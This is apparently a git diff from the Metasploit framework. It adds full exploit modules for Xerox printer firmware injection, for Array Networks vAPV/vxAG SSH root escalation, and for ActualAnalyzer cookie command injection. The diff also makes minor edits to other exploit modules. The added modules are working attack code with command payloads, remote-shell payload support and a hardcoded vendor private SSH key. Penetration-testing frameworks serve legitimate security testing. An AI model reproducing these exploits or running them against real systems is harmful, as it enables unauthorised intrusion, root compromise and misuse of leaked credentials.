'License' => MSF_LICENSE, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 512, + 'Compat' => + { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic bash-tcp' + } + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => 'Mar 07 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(9100) + ], self.class) + end + + def exploit + print_status("#{rhost}:#{rport} - Sending print job...") + firmcode = '%%XRXbegin' + "\x0A" + firmcode << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A" + firmcode << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A" + firmcode << '%%OID_ATT_JOB_COMMENT "PraedaPWN2014:' + "#{payload.encoded}" + ':"' + "\x0A" + firmcode << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A" + firmcode << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A" + firmcode << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A" + firmcode << '%%OID_ATT_DLM_SIGNATURE "ca361047da56db9dd81fee6a23ff875facc3df0e1153d325c2d217c0e75f861b"' + "\x0A" + firmcode << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A" + firmcode << '%%XRXend' + "\x0A\x1F\x8B\x08\x00\xB1\x8B\x49\x54\x00\x03\xED" + firmcode << "\xD3\x41\x4B\xC3\x30\x14\x07\xF0\x9E\xFB\x29\xFE\xE2\x60\x20\x74" + firmcode << "\x69\x63\x37\x61\x5A\xBC\x79\x94\xDD\x3C\xC8\xA0\x59\x9B\xDA\x4A" + firmcode << "\xD7\xCC\xB4\xD3\x1D\xF6\xE1\x8D\xDD\x64\xB8\x83\x3B\x0D\x11\xFE" + firmcode << "\xBF\x43\x03\xAF\x2F\xEF\xBD\xB4\x64\xA3\xAD\xD9\x8C\xDA\xD2\x3B" + firmcode << "\xA3\xD0\xB9\x19\x8F\xFB\xD5\x39\x5E\xC3\x58\x4E\xBC\x48\xC6\x52" + firmcode << "\x5E\x87\xE3\x89\x8C\xBD\x30\x8A\xE4\x44\x7A\x08\xCF\x39\xD4\xB7" + firmcode << "\x75\xDB\x29\x0B\x78\xD6\x98\xEE\xB7\xBC\x53\xEF\xFF\xA9\xCB\x0B" + firmcode << "\xB1\xA8\x1A\xB1\x50\x6D\xE9\x17\x55\x9D\xA4\x2F\x56\xAF\x10\xD4" + firmcode << "\x08\x1E\x30\x9C\x59\xA5\x73\x35\x7B\x7A\x94\x61\x14\x0F\x21\xDE" + firmcode << "\x95\x15\xED\xCA\x98\x5A\x34\x99\x68\x74\x27\x5E\xCD\x62\x7A\x35" + firmcode << "\x8A\x52\xBF\x2A\xF0\x8C\xA0\xC0\xC0\xD5\xC0\xDC\xEF\x4A\xDD\xF8" + firmcode << "\xC0\x47\x59\xD5\x1A\x56\xAB\x1C\x75\xD5\x68\x17\xC9\x8D\x7B\x00" + firmcode << "\x3A\x2B\x0D\x06\x5F\x31\x6C\xB1\xEB\xF8\x06\xFC\x68\xD7\xE7\xF5" + firmcode << "\x65\x07\xF7\x48\x12\x84\x98\xDF\x62\x5F\x17\xC8\xCC\x72\xA9\x9A" + firmcode << "\x3C\x49\x0F\x95\xB6\xD9\xBA\x43\x90\x4F\xDD\x18\x32\xED\x93\x8A" + firmcode << "\xAA\xEF\xE8\x9A\xDC\xF5\x83\xF9\xBB\xE4\xFD\xDE\xED\xE1\xE0\x76" + firmcode << "\x89\x91\xD8\xEC\x6F\x82\xFB\x0C\xFE\x5F\xFF\x15\x22\x22\x22\x22" + firmcode << "\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\xA2\xD3\x3E" + firmcode << "\x01\x5A\x18\x54\xBB\x00\x28\x00\x00" + + begin + connect + sock.put(firmcode) + handler + rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e + print_error("#{rhost}:#{rport} - #{e.message}") + ensure + disconnect + end + end +end diff --git a/modules/exploits/unix/misc/zabbix_agent_exec.rb b/modules/exploits/unix/misc/zabbix_agent_exec.rb index e6767dce06..7498d4486e 100644 --- a/modules/exploits/unix/misc/zabbix_agent_exec.rb +++ b/modules/exploits/unix/misc/zabbix_agent_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb index db8129e5d1..c2f2633ca7 100644 --- a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb +++ b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb index 9b66eeff65..eb605c45f0 100644 --- a/modules/exploits/unix/smtp/exim4_string_format.rb +++ b/modules/exploits/unix/smtp/exim4_string_format.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow', + 'Name' => 'Exim4 string_format Function Heap Buffer Overflow', 'Description' => %q{ This module exploits a heap buffer overflow within versions of Exim prior to version 4.69. By sending a specially crafted message, an attacker can corrupt the @@ -322,7 +322,7 @@ class Metasploit3 < Msf::Exploit::Remote buff << res if res end - perl_path = buff.gsub(token, "").gsub(/\/perl.*/, "/perl").strip + perl_path = buff.gsub(token, "").gsub(/\/perl.*/m, "/perl").strip print_status("Using Perl interpreter at #{perl_path}...") temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8) diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb new file mode 100644 index 0000000000..002e91cde3 --- /dev/null +++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb @@ -0,0 +1,197 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution", + 'Description' => %q{ + This module exploits a default hardcoded private SSH key or default hardcoded + login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made + by Array Networks. After logged in as the unprivileged user, it's possible to modify + the world-writable file /ca/bin/monitor.sh with attacker-supplied arbitrary code. + Execution is possible by using the backend tool, running setuid, to turn the debug + monitoring on. This makes it possible to trigger a payload with root privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence <xistence[at]0x90.nl>', # Original discovery and Metasploit module + ], + 'References' => + [ + ['OSVDB', '104652'], + ['OSVDB', '104653'], + ['OSVDB', '104654'], + ['URL', 'http://packetstormsecurity.com/files/125761/Array-Networks-vxAG-xAPV-Privilege-Escalation.html'] + ], + 'DefaultOptions' => + { + 'ExitFunction' => "none" + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet', + } + }, + 'Targets' => + [ + ['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}], + ], + 'Privileged' => true, + 'DisclosureDate' => "Feb 03 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(22), + OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]), + OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']), + OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1']) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + end + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + def login_key(user) + print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'") + + key_data = "-----BEGIN DSA PRIVATE KEY-----\n" + key_data += "MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\n" + key_data += "q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\n" + key_data += "xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\n" + key_data += "Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\n" + key_data += "gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\n" + key_data += "mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\n" + key_data += "O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\n" + key_data += "OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n" + key_data += "+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n" + key_data += "+sqSEhA35Le2kC4Y1/A=\n" + key_data += "-----END DSA PRIVATE KEY-----\n" + + opts = { + #:auth_methods => ['password', 'keyboard-interactive'], + :auth_methods => ['publickey'], + :msframework => framework, + :msfmodule => self, + :port => rport, + :disable_agent => true, + :config => true, + :key_data => key_data, + #:password => pass, + :record_auth_info => true, + :proxies => datastore['Proxies'] + } + + opts + end + + def login_user_pass(user, pass) + print_status("#{rhost}:#{rport} - Attempting to login with '#{user}:#{pass}'") + + opts = { + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :port => rport, + :disable_agent => true, + :config => true, + :password => pass, + :record_auth_info => true, + :proxies => datastore['Proxies'] + } + + opts + end + + def build_command + mon_temp = rand_text_alphanumeric(10) + cmd = Rex::Text.encode_base64("nohup " + payload.encoded) + # Turn debug monitoring off, just in case it's turned on + command = '/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`;' + # Copy the data from monitor.sh to a random tmp file + command += "cat /ca/bin/monitor.sh > /tmp/#{mon_temp};" + # Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file + command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /ca/bin/monitor.sh;" + # Turn debug monitoring on, which will start the monitor.sh and thus our payload + command += '/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`;' + # Copy monitor.sh data back + command += "cat /tmp/#{mon_temp} > /ca/bin/monitor.sh" + + command + end + + + #def execute_command(cmd, opts) + def exploit + user = datastore['USER'] + pass = datastore['PASS'] + + if datastore['SSHKEY'] + opts = login_key(user) + else + opts = login_user_pass(user, pass) + end + + opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + + begin + ssh = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh = Net::SSH.start(rhost, user, opts) + end + rescue Rex::ConnectionError + fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use") + rescue Net::SSH::Disconnect, ::EOFError + fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation") + rescue ::Timeout::Error + fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation") + rescue Net::SSH::AuthenticationFailed + fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication") + rescue Net::SSH::Exception => e + fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}") + end + + fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh + + if datastore['SSHKEY'] + print_good("#{rhost}:#{rport} - Login Successful with '#{user}:SSH PRIVATE KEY'") + else + print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'") + end + + # Make the SSH connection and execute our commands + payload + print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!") + Net::SSH::CommandStream.new(ssh, build_command, true) + end + +end diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb index f0d80253af..c2931b66be 100644 --- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb +++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - banner = sock.get_once.strip + banner = sock.get_once.to_s.strip vprint_status("#{rhost}:#{rport} - Banner: #{banner}") disconnect @@ -212,7 +212,7 @@ class Metasploit3 < Msf::Exploit::Remote ::Timeout.timeout(datastore['SSH_TIMEOUT']) do c = do_login(datastore['USERNAME']) end - rescue Rex::ConnectionError, Rex::AddressInUse + rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" diff --git a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb new file mode 100644 index 0000000000..8cb29c5e9f --- /dev/null +++ b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb @@ -0,0 +1,264 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => "ActualAnalyzer 'ant' Cookie Command Execution", + 'Description' => %q{ + This module exploits a command execution vulnerability in + ActualAnalyzer version 2.81 and prior. + + The 'aa.php' file allows unauthenticated users to + execute arbitrary commands in the 'ant' cookie. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Benjamin Harris', # Discovery and exploit + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + ], + 'References' => + [ + ['EDB', '34450'], + ['OSVDB', '110601'] + ], + 'Payload' => + { + 'Space' => 4096, # HTTP cookie + 'DisableNops' => true, + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Targets' => + [ + # Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu + ['ActualAnalyzer <= 2.81', { 'auto' => true }] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Aug 28 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']), + OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']), + OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']), + OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', '']) + ], self.class) + end + + # + # Checks if target is running ActualAnalyzer <= 2.81 + # + def check + # check for aa.php + res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php')) + if !res + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown + elsif res.code == 404 + vprint_error("#{peer} - Could not find aa.php") + return Exploit::CheckCode::Safe + elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/ + vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.") + return Exploit::CheckCode::Detected + end + # check version + res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php')) + if !res + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown + elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body + vprint_status("#{peer} - Found version: #{version}") + if Gem::Version.new(version) <= Gem::Version.new('2.81') + report_vuln( + host: rhost, + name: self.name, + info: "Module #{fullname} detected ActualAnalyzer #{version}", + refs: references, + ) + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Detected + elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ + return Exploit::CheckCode::Detected + end + Exploit::CheckCode::Safe + end + + # + # Try to retrieve a valid analytics host from view.php unauthenticated + # + def get_analytics_host_view + analytics_host = nil + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'view.php'), + 'vars_post' => { + 'id_h' => '', + 'listp' => '', + 'act_h' => 'vis_int', + 'oldact' => 'vis_grpg', + 'tint_h' => '', + 'extact_h' => '', + 'home_pos' => '', + 'act' => 'vis_grpg', + 'tint' => 'total', + 'grpg' => '201', + 'cp_vst' => 'on', + 'cp_hst' => 'on', + 'cp_htst' => 'on', + 'cp_reps' => 'y', + 'tab_sort' => '1_1' + } + ) + if !res + vprint_error("#{peer} - Connection failed") + elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body + vprint_good("#{peer} - Found analytics host: #{analytics_host}") + return analytics_host + else + vprint_status("#{peer} - Could not find any hosts on view.php") + end + nil + end + + # + # Try to retrieve a valid analytics host from code.php unauthenticated + # + def get_analytics_host_code + analytics_host = nil + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'code.php'), + 'vars_get' => { + 'pid' => '1' + } + ) + if !res + vprint_error("#{peer} - Connection failed") + elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body + vprint_good("#{peer} - Found analytics host: #{analytics_host}") + return analytics_host + else + vprint_status("#{peer} - Could not find any hosts on code.php") + end + nil + end + + # + # Try to retrieve a valid analytics host from admin.php with creds + # + def get_analytics_host_admin + analytics_host = nil + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin.php'), + 'vars_post' => { + 'uname' => user, + 'passw' => pass, + 'id_h' => '', + 'listp' => '', + 'act_h' => '', + 'oldact' => 'pages', + 'tint_h' => '', + 'extact_h' => '', + 'param_h' => '', + 'param2_h' => '', + 'home_pos' => '', + 'act' => 'dynhtml', + 'set.x' => '11', + 'set.y' => '11' + } + ) + if !res + vprint_error("#{peer} - Connection failed") + elsif res.code == 200 && res.body =~ />Login</ + vprint_status("#{peer} - Login failed.") + elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body + vprint_good("#{peer} - Found analytics host: #{analytics_host}") + print_good("#{peer} - Login successful! (#{user}:#{pass})") + service_data = { + address: Rex::Socket.getaddress(rhost, true), + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + module_fullname: fullname, + private_type: :password, + private_data: pass, + username: user + } + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + return analytics_host + else + vprint_status("#{peer} - Could not find any hosts on admin.php") + end + nil + end + + def execute_command(cmd, opts = { analytics_host: vhost }) + vuln_cookies = %w(anw anm) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'aa.php'), + 'vars_get' => { 'anp' => opts[:analytics_host] }, + 'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`" + ) + if !res + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out") + elsif res.code == 302 && res.headers['Content-Type'] =~ /image/ + print_good("#{peer} - Payload sent successfully") + return true + elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/ + vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.") + elsif res.code == 200 && res.body =~ /Admin area<\/title>/ + fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.") + else + fail_with(Failure::Unknown, "#{peer} - Something went wrong") + end + nil + end + + def exploit + return unless check == Exploit::CheckCode::Vulnerable + analytics_hosts = [] + if datastore['ANALYZER_HOST'].blank? + analytics_hosts << get_analytics_host_code + analytics_hosts << get_analytics_host_view + analytics_hosts << get_analytics_host_admin + analytics_hosts << vhost + analytics_hosts << '127.0.0.1' + analytics_hosts << 'localhost' + else + analytics_hosts << datastore['ANALYZER_HOST'] + end + analytics_hosts.uniq.each do |host| + next if host.nil? + vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...") + break if execute_command(payload.encoded, analytics_host: host) + end + end +end diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index 1d4cf75356..9b029120b6 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/awstats_configdir_exec.rb b/modules/exploits/unix/webapp/awstats_configdir_exec.rb index ec833f32ab..ac2e0dfba5 100644 --- a/modules/exploits/unix/webapp/awstats_configdir_exec.rb +++ b/modules/exploits/unix/webapp/awstats_configdir_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/awstats_migrate_exec.rb b/modules/exploits/unix/webapp/awstats_migrate_exec.rb index 012397a915..af914a848d 100644 --- a/modules/exploits/unix/webapp/awstats_migrate_exec.rb +++ b/modules/exploits/unix/webapp/awstats_migrate_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/awstatstotals_multisort.rb b/modules/exploits/unix/webapp/awstatstotals_multisort.rb index 95e5ce846d..770fa8a4f2 100644 --- a/modules/exploits/unix/webapp/awstatstotals_multisort.rb +++ b/modules/exploits/unix/webapp/awstatstotals_multisort.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'AWStats Totals <= v1.14 multisort Remote Command Execution', + 'Name' => 'AWStats Totals multisort Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are vulnerable. diff --git a/modules/exploits/unix/webapp/barracuda_img_exec.rb b/modules/exploits/unix/webapp/barracuda_img_exec.rb index cd6d202ace..4c73e90a4c 100644 --- a/modules/exploits/unix/webapp/barracuda_img_exec.rb +++ b/modules/exploits/unix/webapp/barracuda_img_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/base_qry_common.rb b/modules/exploits/unix/webapp/base_qry_common.rb index 05472f7924..574db617bd 100644 --- a/modules/exploits/unix/webapp/base_qry_common.rb +++ b/modules/exploits/unix/webapp/base_qry_common.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index 2aa758e81f..efcb07a83c 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb index a0e9acc770..90941fd7ee 100644 --- a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb +++ b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb index 5a0785ea83..946c4ea726 100644 --- a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb +++ b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,12 +12,13 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Code Execution', + 'Name' => 'CakePHP Cache Corruption Code Execution', 'Description' => %q{ - CakePHP is a popular PHP framework for building web applications. - The Security component of CakePHP is vulnerable to an unserialize attack which - could be abused to allow unauthenticated attackers to execute arbitrary - code with the permissions of the webserver. + CakePHP is a popular PHP framework for building web applications. The + Security component of CakePHP versions 1.3.5 and earlier and 1.2.8 and + earlier is vulnerable to an unserialize attack which could be abused to + allow unauthenticated attackers to execute arbitrary code with the + permissions of the webserver. }, 'Author' => [ diff --git a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb index f0f56cbf4e..66e4aed547 100644 --- a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb +++ b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb index 4a228df6e8..0e8aad113d 100644 --- a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb +++ b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index 0ac6810817..91c04fd55a 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -113,4 +113,4 @@ class Metasploit3 < Msf::Exploit::Remote end -end \ No newline at end of file +end diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 54994f0a79..948a9108db 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,15 +14,16 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Coppermine Photo Gallery <= 1.4.14 picEditor.php Command Execution', + 'Name' => 'Coppermine Photo Gallery picEditor.php Command Execution', 'Description' => %q{ - This module exploits a vulnerability in the picEditor.php script of Coppermine - Photo Gallery. When configured to use the ImageMagick library, the 'quality', 'angle', - and 'clipval' parameters are not properly escaped before being passed to the PHP + This module exploits a vulnerability in the picEditor.php script of + Coppermine Photo Gallery versions 1.4.14 and earlier. When configured to + use the ImageMagick library, the 'quality', 'angle', and 'clipval' + parameters are not properly escaped before being passed to the PHP 'exec' command. - In order to reach the vulnerable 'exec' call, the input must pass several validation - steps. + In order to reach the vulnerable 'exec' call, the input must pass + several validation steps. The vulnerabilities actually reside in the following functions: @@ -32,8 +33,8 @@ class Metasploit3 < Msf::Exploit::Remote include/imageObjectIM.class.php: imageObject::resizeImage(...) include/picmgmt.inc.php: 